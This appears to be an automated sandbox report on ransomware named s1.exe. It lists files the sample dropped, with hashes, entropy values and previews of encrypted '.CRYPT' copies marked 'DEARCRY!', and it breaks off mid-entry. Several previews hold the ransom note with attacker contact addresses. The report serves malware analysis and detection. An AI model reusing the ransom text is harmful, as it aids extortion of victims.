                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Update_2019-06-27_102115_1a80-1aa8.log.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):8840
                                                              Entropy (8bit):7.975546053078431
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:70B875305F256EB02F13B5829C44B607
                                                              SHA1:E21F98B47C70CDC59BC433BD64314CDE7BD423CF
                                                              SHA-256:A76A5294B7C716AE08DE450B9A6FBDFB4E0A6FF946DED2BF3557E3DB4F97E5B5
                                                              SHA-512:E0BC8D90B486D87408FFADD2F53AE5981B94B7B07150C5084B82A8ABAF039595CC2511C38B07930CFB9254463B861B01E891EF460C2C081CE5C7CC73C7B867E4
                                                              Malicious:false
                                                              Preview: DEARCRY!....Ybd.1r.N.J......{l`.EL\..Y............T..8Gn.39a\; r.......CRO.^..c:ul.Q..z.Ns.j7@...W1......rq=8 .e..c@..Q.............t..)o....yLe.....|...<S.c6...>....Z.s.t.M.j.I....an..a..=.. ...7......f...Yx..... j...1i....2....E9.o.gF..<....a.>..e.[}Q.......b!......~....S...L.G..Y.._K.....m..jjT..o+..9.YF|.).h...._..,....x.f..}...x.KW.SA.x.l..;s..b..3..n...R..K..MZ-D_..!...v.0..U..P...FM".8"?U.*.z..8;JoQGK.<..l.X.........6.l~/.Da.v....iv..^l..j.z.3.J....g...L.9nrO..1..M.c..............Z...!-...u........r&.....:./...hc...5..hJ.....#..8.&..p./7~\.2.d.B....4.^.fP...2W.....*.Mxkn.".)........P.8'.36.5].....S.5.+/....a?.9..!....J&..?o...3.....h.%..Ki ..`..5.0.....na.\.W.W.5c...s...*f64.c5.(...i..^...\.a....h6.@..J..4}{.Ck....A...x-.....[^7<.d....-K..5.0!...........n.p.).t...:+...6'..<+...>N.Q..%.-o...w..]K...F0.TO.@.....hH.!....=.0D.....;A..z{.......pZC......I...u.....bH...Ou.*.....b..nW..Q.@.cWJ...L..TiO#M....c.R....K......^.5....1.,..
                                                              C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Update_2019-06-27_102202_930-91c.log
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):15444
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:5A69C40FD3D755F61015114F1811BE91
                                                              SHA1:5902D33499A21DEA1916AE0B456E50FA88335D5F
                                                              SHA-256:C0C2DE74C9B557855CE3F57F6D57797A449FBAB7F5BAF88F55B2A0C3D1D83725
                                                              SHA-512:E1006C547039CB9BC9DB77B2CB4E8A6C0B2CE118DA4402593870E93355901731FFB65D4CFAC0037DC0F69071747EC274D9EDA9ABF5B7C0FD8186BC3E33550194
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Update_2019-06-27_102202_930-91c.log.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):15736
                                                              Entropy (8bit):7.989252302294045
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:ACFCC5287370083FA084966B296548FF
                                                              SHA1:4BA9559316D4969AC2DC41B75381F4E75BBD714C
                                                              SHA-256:329DAFE076ADF66B07C84F336AFB3234FBFA463F8AB9FFFD6AF669BCDBF64A4B
                                                              SHA-512:C3CE6049C695EC1BAFBF7C0FEB122F97ACBFA3AB96B6BD1F23B8B8625E0BBA7CBEF3A3BAEF01DC990C566405CB68D2430F587272648479C6615A5BA4AD373B41
                                                              Malicious:false
                                                              Preview: DEARCRY!....&..6!f~..B.....;.q&8..g....f..........1..8s.\.-.$K.F..[7..L.@..MSxA.......#...pvl..n.]flcPD..3O.....9.K...X84.79N......l.5.t...L.].D.`V.{....Re./...FN....Y.k.Y.Y\`-...`..rdpGD3..g]+p...w.kF.=$.K..q.7..-....+2..:T.a....xH;.p..d+l.5,...;._.3.y.X......T<......@y..x5.k.hW.m.+^..Y.=.K.K.{u.4_......).T.7.E..8..[.^^&..n....).gd}2RR..lB.\(s.@......W.=...n.0..=..I..0#|t.+...Z'...'.`. P..>..'.q(...._v7.F..]!a*`.W.......qD....B.6...g.._0.......IB..%*.....iU2c...G..W+T.S9..}....<...e.F.x}.....|]w7z.....~.).gsJ)...[...t^z`.....;H7.....<L.\.K..dv..I4\.#...L...Ux..Dl^.c5&.tQZB...W7......B..t..Ba8.;M.D..7[t.)..c..S......zm2.3...%..R.A.&1.x. ..E...z.Y`.yO];.Rw.y.r.y.gO......C..... Z.k.!..B...w..9.d.h.y..*<.?...(-.o....~.....V.*...<.M.%..r ...........+.*.co.3'....7..;....:C..>...A7.#...j.g._R~..aF.*..E.v.....+.C.P......d.u.1.4{......'..1.F.....f.o.A..[2%my.+....Z...p...@.......0.M.3.}.....K..`<z`...L..9......_..`_..o..-..G.8.k.f..HG.lFq.8._}..v
                                                              C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Update_2019-06-27_172300_6208-6360.log
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):20854
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:B48213D0B23F96437B30EF42EC673C9A
                                                              SHA1:982C3D5EF29AA421FAC47F413A8CE0DFB62F22E8
                                                              SHA-256:32800EBA90E782F8150008026A44E135E37E1ED7EA725371E14F6D04EF599BA3
                                                              SHA-512:3B3BC6F26E90D2387A945DC178024B3F339A082653C076721351F4CF39BE06C57A528D0932BB6E6FA1F2530D848AD225D97AF8161024EE6D00A308F0A87461F8
                                                              Malicious:true
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Update_2019-06-27_172300_6208-6360.log.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):21144
                                                              Entropy (8bit):7.990666886403321
                                                              Encrypted:true
                                                              SSDEEP:
                                                              MD5:94D60D0D6B2B021AFCFE8585D09D43CD
                                                              SHA1:980C4DB4A3E1DA03B08CABC871F18D6137546A4E
                                                              SHA-256:B5F91C58B0350EBE0571669D1949989F6E8CF38250D3F560597EA021DDB6F461
                                                              SHA-512:C583FF9733E9847446BD0E5EF58CC19DC397091450640FB42F3F133011CE7CC84A108A5FEE3B16B773BD676B773BA43F5CF8FCC7D4DB30E856F6FB5239355621
                                                              Malicious:true
                                                              Preview: DEARCRY!....t81. #..........S..'..J..+..;#l..p.2....c%Rk.Np....I..9.ZalNr..'...\.......,..R=.n..XX..-.Kc.J....p.....y,f.F..A'M.K.l..TOB..C)..QM......?DQ.:W....].ME.v..;......y.}...Fn...2..H..8...}.>..p....,.q.}5....Ln..W.M..;.....]...hcQ...c.Q.f'..6<^.....vQ.........O..{.O.7.L...V.|&...d...?.$f.!...#.;X.O.......uuY.@.W|?...m.4..9D.s|....Z..5[SA$t.q..k.1V.]N..&...n..?.".)..J.g(F.........KO<...p!Y'K..gUh n`-.P.....k....p.g....w...ow..<b.<.G.u........5...\..`)...P.I..].TVSBN.....*.V7/.4&.W/Z-z.Vy.,....t.G4xP..k....g...w.......=p....m.4.~..+..~.wy../.~..:.E.+A....B.Q..D.J8.T^Cj..{b*Yw.s/.t.[_h.r_....P....d..v..d.A..Z.H[.D..2..b.#.RP..H8.p.............h.9.DN..V..<J....vG..T....J.U.cE|+*...h..td$}....cd.....*\...JtS...Dr.D]........i{.V..d....Ej]..QY..R._.W(..(.tO.t.Bx..v..R....f...`b......7.....^9..I......N....G..[......;#...........N.rT/...H.L.W..._.=|..\4gf..?..b......F..R4S.Q'H..F**.0....-...).A.K....'Op.fg.*....^....>.g.+.Z.W.W..A..X...
                                                              C:\Users\user\AppData\Local\Microsoft\PenWorkspace\DiscoverCacheData.dat
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):984
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:179A12A83A310693A68C348B7E8EA5B6
                                                              SHA1:49D9040673C0C4ECF29C6C3320F1B3DD3226F49B
                                                              SHA-256:E2339A03FA052BCBC2AC1112312C7B517FC52B359006C35A361C9CA9F9FFD32A
                                                              SHA-512:40FA9AD2BC1B13BA014419D3AFA332FC2CB6DB6758C4625C1B87B6CA16873F20CFFD29021B7646D7BB14473A368D2C3F28E5EABC1278325454F57720976A1698
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Microsoft\PenWorkspace\DiscoverCacheData.dat.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):1272
                                                              Entropy (8bit):7.847028536258079
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:6AFEE494FA903F187DE79878A7AA6236
                                                              SHA1:7973B03D045F5A9047C569A7229119BCBDB1B49A
                                                              SHA-256:222CE5726C88A6061C7402639355E02EEE4F63F46A1FDCA152DC3810B33D7D28
                                                              SHA-512:DA3F11CC71520FC24684F09914647E70899AC1FFF0923CFBA1FDA7255F512D1C4261AE4650ECBFD50C52562CCB5B00AB3354E7DFD814F7998ED52731178651E5
                                                              Malicious:false
                                                              Preview: DEARCRY!....T/ooBq...>.)n...Q.L..O.}.P....jn......V.Yvg..N.U.!.1.....;..S....w.m..2t.............XE.2..'.Z...].:.z....!9...VR..}.?1Jd...B....KK.[,....Ss;.=..vr.....9o^_....6...e\..qG.r....\.].M...|&MQ..A.|&..xq$:...0...z.F_....;|.q.v....aD....,.....`.G..............l.).R..%1*.+..FP..+m1.......C^.~J.G..t4..:.v...In'..B..._..Mo$....E.Nj._..%..S.?i..8O..0+..FrOJ)B99.y....F..=..>..5...%...x...g....-1.cX[.....Y..u3lQ.u4S..........vO.u..4,.D..i..\.c...l ....bV?...[.}c.?...2.=...4.y.}.......J.|.uN<.^.XID.&...I.H.n....f.....Y*...g :.~]A..|..6........[Ea..w.eh........>...].}|...D.h....Q....P..f......YK....:6~...N...I]...-.J.-c..m.a.....[b.G{....+...P.>>..M."=.....rZ.(.L..=z.F\..x..U.@Xl~...$*ATD....+...D..up._.r.FS.2.2.A..mxr.^+...8...6dkM........i....[I.........r..v...... Q}...!.|..1f....JS...9..b.]t<...`w....v...>.....n....S.j.)F..@..>N.A.c.v..w.......;.....Z.[...(.?.h......U&..1..2.7..Gc..T..Q.y....cAy..b.y.U..F...HB.H
                                                              C:\Users\user\AppData\Local\Microsoft\PlayReady\Internet Explorer\Desktop\readme.txt
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):892
                                                              Entropy (8bit):4.816413813438883
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:5D76ECCAA706EDC9E075D9104C691383
                                                              SHA1:133C3AA61D169E101A7960562F65BA284677A133
                                                              SHA-256:8EE21A1F9EA07A112DD75484598273D91A9BD233CEC8467E18DCB773E864CE94
                                                              SHA-512:2F42DEAA5D216EA6CEB8DC13BA45555BF328EEF49A853C1704B43D6FB958341A7B51E22220B2EFDAC629A9F950814106199CBF964300D7894AE09B7FE9C92990
                                                              Malicious:false
                                                              Preview: Your file has been encrypted!........ If you want to decrypt, please contact us......... konedieyp@airmail.cc or uenwonken@memail.com........ And please send me the following hash!........ 638428e5021d4ae247b21acf9c0bf6f6..Your file has been encrypted!........ If you want to decrypt, please contact us......... konedieyp@airmail.cc or uenwonken@memail.com........ And please send me the following hash!........ 638428e5021d4ae247b21acf9c0bf6f6..Your file has been encrypted!........ If you want to decrypt, please contact us......... konedieyp@airmail.cc or uenwonken@memail.com........ And please send me the following hash!........ 638428e5021d4ae247b21acf9c0bf6f6..Your file has been encrypted!........ If you want to decrypt, please contact us......... konedieyp@airmail.cc or uenwonken@memail.com........ And please send me the following hash!........ 638428e5021d4ae247b21acf9c0bf6f6..
                                                              C:\Users\user\AppData\Local\Microsoft\PlayReady\Internet Explorer\InPrivate\Desktop\readme.txt
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):669
                                                              Entropy (8bit):4.816413813438883
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:84A06384E21868BB61BA287E54263B81
                                                              SHA1:ECBB863DF1421A55AED8128CF9BF696F6B35C2C1
                                                              SHA-256:65E3AD2C6972396F16FF5994ABBED63B3D661BB9321B5923DCB81A8A98B71A35
                                                              SHA-512:ACADD9A59DC7E04E37EBCE0CA553DF70752ADD0E4406494870691A91A652DB1156B234242139D321E08ECBD1179A598753882ADF19409F4726AF793F2B6FBDE1
                                                              Malicious:false
                                                              Preview: Your file has been encrypted!........ If you want to decrypt, please contact us......... konedieyp@airmail.cc or uenwonken@memail.com........ And please send me the following hash!........ 638428e5021d4ae247b21acf9c0bf6f6..Your file has been encrypted!........ If you want to decrypt, please contact us......... konedieyp@airmail.cc or uenwonken@memail.com........ And please send me the following hash!........ 638428e5021d4ae247b21acf9c0bf6f6..Your file has been encrypted!........ If you want to decrypt, please contact us......... konedieyp@airmail.cc or uenwonken@memail.com........ And please send me the following hash!........ 638428e5021d4ae247b21acf9c0bf6f6..
                                                              C:\Users\user\AppData\Local\Microsoft\Vault\UserProfileRoaming\Latest.dat
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):1
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:7FC56270E7A70FA81A5935B72EACBE29
                                                              SHA1:6DCD4CE23D88E2EE9568BA546C007C63D9131C1B
                                                              SHA-256:559AEAD08264D5795D3909718CDD05ABD49572E84FE55590EEF31A88A08FDFFD
                                                              SHA-512:21B4F4BD9E64ED355C3EB676A28EBEDAF6D8F17BDC365995B319097153044080516BD083BFCCE66121A3072646994C8430CC382B8DC543E84880183BF856CFF5
                                                              Malicious:false
                                                              Preview: A
                                                              C:\Users\user\AppData\Local\Microsoft\Vault\UserProfileRoaming\Latest.dat.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):296
                                                              Entropy (8bit):7.074414100934301
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:78E27E8464ED402DE629E492F4C4D74F
                                                              SHA1:DF0A0FE2E5334311A85AE7A232D7BFAFEE2832D7
                                                              SHA-256:C4E7AB0E3AC15259D2E38D695A10B130FBF31CE8D90528BC3D4E654D6C358FBD
                                                              SHA-512:D003ECA36A2AF81BC8B18C9E87A5DA9D34FEADCDBCCE908478E1D049AF663445EFC51E1D31EA0334608E664E675EF8B82AE9DAF21FE11C54FBB81209836A4614
                                                              Malicious:false
                                                              Preview: DEARCRY!....Df+.W..._6.?.^U.....E.o....`m.. ...GJ.(..|gS..G...z3...X..l..Z1...g.y#8...fq)..(...di.|.h......\^...HP..F.PD7m...M[....L HL.........h.@..$....@8,\n..8K{.`...Rl@..../..w.|.._R.....T...E...H..;.s.Kf..S..s`........j...?.M.....F..Ki1\]....S...............m..".t.......
                                                              C:\Users\user\AppData\Local\Microsoft\Windows Sidebar\settings.ini
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):320
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:E41AECC33D5AC5C4B0FB93065EF39487
                                                              SHA1:C1D5B7689B8002C9E859BBE8A5253D49237E48EB
                                                              SHA-256:B36FA6F27D26D04615C69C89FCCB84ACDC8577BFBE692C01DC9578D7B647C145
                                                              SHA-512:6F349F1DE13A87371D14AF9E25AB2805523A1E5094932864F4594F7C2D4A89EE1994FD0644A8CE2930EDA1C0AAA5FCBBBF25F8CA221B5946ED830B89C9A19293
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Microsoft\Windows Sidebar\settings.ini.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):1504
                                                              Entropy (8bit):7.786658166306381
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:AB4FB2629DBE20943E4EEBB96E5AC3EC
                                                              SHA1:CE27D56BAD4EBF75E8FA5695CC62562DE19AE7A1
                                                              SHA-256:AAE295BFCD2C7B5A52EF49CA2F28F2A10B24E4B2151B1EAD3FE2CCDA0BDA7BC7
                                                              SHA-512:8FF1B0C15A2CE07FA58177A4BE4D9351A6B06264733D84873330B14AEADF83EA92FF60614D2FF9430EEDEAC5B5E201E50363D1D0EE462083148EBB439E753873
                                                              Malicious:false
                                                              Preview: DEARCRY!....-.R{..wtX.._.......E..(......$#.4.>./'^d.c ..9b.j.....,fB.f."..O......9.m..hPW...*..y8L&s..Y...Pv....t..s.{......M.....-.05.g%...S....%..,/H.&...}lI.R.yo`.%l...q...Z..K..e..;>...2..).^.>.R.Q..HU..w..[.-,.P[.[....S`.D+.........y7?......(WF....V]....P........M9.Y.z....B.]..X9.......}Q5.....5...@.*..|..K..9..o .mW..9.....o.O.k...z..T.p..A...|.....sDEARCRY!.....D...Z....w.L].T.}.`.Y.=".Y...._.._=...._B...'_a1%.y....fu.....Xt'.Zr..o......MG....F"....XQ...4 .VD.@?.g.9u.1^.../..8....@*.b3..q......0...L.................8.r`.L..C .....*..`R.@c.k...*.O.p.......&...O..`.s.[...d..W..L.......).O.}.N.G.d....P.......m.mL..6....,F.u.X..~.<[.~.........(....W...5l....I..or)E.L.P..-.....!......._..#.J$K...-.\..DEARCRY!......Fjm..jf..B_.K.[..\9z..}. .g.b.:O]7w.. ).u.... j..g..kj\...j...n..A....L..7.J...E.,.O.<.c.%m?..$.rH5.Y{..R.....:S$9{|.....lq._...ppn.....4h.........3..4....s..t..CTQ.i........`R..LN@......J..."..`.w..H......e>.'.........}j.....D
                                                              C:\Users\user\AppData\Local\Microsoft\Windows\1033\StructuredQuerySchema.bin
                                                              Process:C:\Windows\explorer.exe
                                                              File Type:empty
                                                              Category:dropped
                                                              Size (bytes):0
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:D41D8CD98F00B204E9800998ECF8427E
                                                              SHA1:DA39A3EE5E6B4B0D3255BFEF95601890AFD80709
                                                              SHA-256:E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855
                                                              SHA-512:CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E
                                                              Malicious:false
                                                              Preview:
                                                              C:\Users\user\AppData\Local\Microsoft\Windows\1033\StructuredQuerySchema.bin.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):419656
                                                              Entropy (8bit):7.999562381721395
                                                              Encrypted:true
                                                              SSDEEP:
                                                              MD5:E7F81D3B330FC349A7C16B6871A5082A
                                                              SHA1:869DF27EF6C142F2F3E858FD365A1686304C9DCE
                                                              SHA-256:CF38292D074E138E0F66BE639C1EC7554A0FF5A6119991E6CAD78539D11D17A4
                                                              SHA-512:89FF82B322E8E2E2ECDAED872F018FDC1F29C097F306AD600BAC8C653A983B1F0AEC5F04884D2247BF175C96A05A4A8D327757830B8C3627B5B247DFCF4F2621
                                                              Malicious:true
                                                              Preview: DEARCRY!....Ct..I.................a.v@DE..Q.?...;. S.1V.0.f...$..(L.q..It...#o...#....".fXP.=..I%...C.k.t.`6........u...q/...I..?.s.<A.C[..9..')./...n.@.Y...dC.t.zK..w...D...\M.........zu....y&....y.o.....kF.dy...p.P.i...U......LE.....W1j....)<.I.G.Kh.........%f......?A.YKs......CU<.P.0....8....Rt.$.$@.......I....[.X"\)p.r....F...I*R.o.......35...tk.kM..S..=|.l.F....G....= .9...-....H........./....zz..?{..h..j..=...........U...u?.N....d..".X ...q...M....]./3x...4..t...c..i..flU..GT.".h.._S..Y.Z4.$..d...Z#....8.;.[...e..L.....%.P..>.G+...DjGcE.b^B...........'b/...$...%.&^.........?..e'.&.%..a.... S.h.x.pJ..3...U.mc....R.z.*T)D....)L...TE...P.q5.........`......&...:.?...a..<..7..Y8.........IP......\(..oMG...^F.",W#..k;*....dZ.:'.;.}o.4.K..7Y.K.rUn.....^$...RJ..1!...d.=..O..<.nx.......6...*....v.D.....5".).....E......<..7.1.......M0....k..(.......P.V=^.........j>a...~..;)%.s.6.0O.2.ic|y..<>.2*.....p.L.G....L.%..~#/.C..Vb-.....B.#/g....U
                                                              C:\Users\user\AppData\Local\Microsoft\Windows\AppCache\NXCTBDH5\container.dat.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):296
                                                              Entropy (8bit):7.204131027931891
                                                              Encrypted:false
                                                              SSDEEP:
